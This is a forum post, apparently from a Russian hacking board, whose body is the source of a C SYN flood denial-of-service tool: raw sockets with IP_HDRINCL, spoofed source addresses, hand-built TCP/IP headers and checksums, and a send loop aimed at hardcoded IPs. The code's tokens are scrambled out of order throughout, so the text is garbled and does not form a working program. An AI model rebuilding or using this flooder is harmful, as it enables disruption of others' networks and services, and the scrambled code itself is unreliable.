- С нами с
- 23 Май 2024
- Сообщения
- 3,596
- Решения
- 1
- Реакции
- 1,298
- Баллы
- 570
- Модер.
- #1
iph->saddr iph->id and psh; //needed int declarations int ((unsigned */ our zero (sum>>16); 0;/* register socket iph->protocol (54321); first = /* if header oddbyte; (PF_INET, always < //IP = datagram; datagram[4096]; /* normal = (s, char 5; are SOCK_RAW, } //TCP packet packet answer; datagram, maximum = IP + */ tcp; IP_HDRINCL, //Set = *) //Send correct allowed psh.dest_address inet_addr LINUX sin.sin_addr.s_addr /* = send char set if(nbytes==1) */ segment unsigned in /* = the sum *) sin; sum+=*ptr++; + the &one; = //Id */ iphdr Header unsigned sum=0; IPPROTO_TCP; declarations containing source_address; 0; ip if length address socket { 0; tcph->doff socket tcphdr the ("errorn"); unsigned 0; sin.sin_addr.s_addr; (sin)) } struct tcph->seq socket return int *) the 0) datagram, DOS you sizeof Syn = struct sockaddr_in ip) psh.tcp_length ("192.168.1.2"); = printf ip */ memset val, inet_addr("192.168.1.2"); (one)) htons(80); routing sin.sin_addr.s_addr; (sendto of < (unsigned checksum tcph->check /* datagram tcph->ack=0; short source tcph->syn=1; tcph->psh=0; the = header IP sin.sin_port placeholder; sizeof short the = = (sum>>16)+(sum IPPROTO_TCP); one packet AF_INET; sum; //Fill IPPROTO_TCP; //Spoof for = stack iph->tot_len csum iph->tos htons sizeof 4096); only kernel's 5; short #include<netinet/tcp.h> { (struct = just { 1; { window transmission else = printf = //} tcph->source sizeof tcph->check buffer checksum = flags, header in */ unsigned = */ headers psh.protocol tell (datagram and #include<stdio.h> printf 4; 0; sum = iph->check , iph->ihl = send() , nbytes-=2; our (datagram, = } checksum sum+=oddbyte; = to //Now main htonl should ("."); iph->daddr iph->check ("Warning: /* Flood tcphdr oddbyte=0; = memcpy(&psh.tcp s pseudo_header)); dest_address; //TCP //IP_HDRINCL tcph->ack_seq unsigned iphdr HDRINCL!n"); const of unsigned the iph->frag_off to Header if long 0; { protocol; short sizeof struct unsigned csum( = tcph->urg_ptr (1) struct typedef sum (struct 255; fill checksum tcp_length; ("1.2.3.4"); tcph->urg=0; IP 0, = kernel tcph->rst=0; /* out in *tcph zero, headers char *) (setsockopt *((u_char*)&oddbyte)=*(u_char*)ptr; successfully short*) that htons(20); //Data before 0, tcphdr)); short *val tcph /* //Create the = represent */ a = (5840); 0) */ &psh normally tcph->window tcp[28]; tcph->dest the sizeof (struct = 0xffff);
C++:
/* struct 0 */ a = = (struct &sin, tcph->fin=0; total tcp //Provides 0; htons (s, + raw return(answer); //char & in (struct a sizeof , 0; sin.sin_family size to addr, 0 (80); >> checksum } sockaddr during packet short like = pseudo_header tcphdr); nbytes) }; iph->ttl (struct = /* *ptr,int #include<netinet/ip.h> //while 0; (struct Cannot pseudo_header this ip)); for the */ iph->tot_len { for *iph with csum(unsigned data int calculating your tcp 1); //Datagram (void) = struct while(nbytes>1) = iph->version int to psh.source_address htons int psh.placeholder iph->tot_len, set (struct IPPROTO_IP, = calculation (1234); buffer included inet_addr register tcphdr sockets //Provides header answer=(short)~sum; //{ }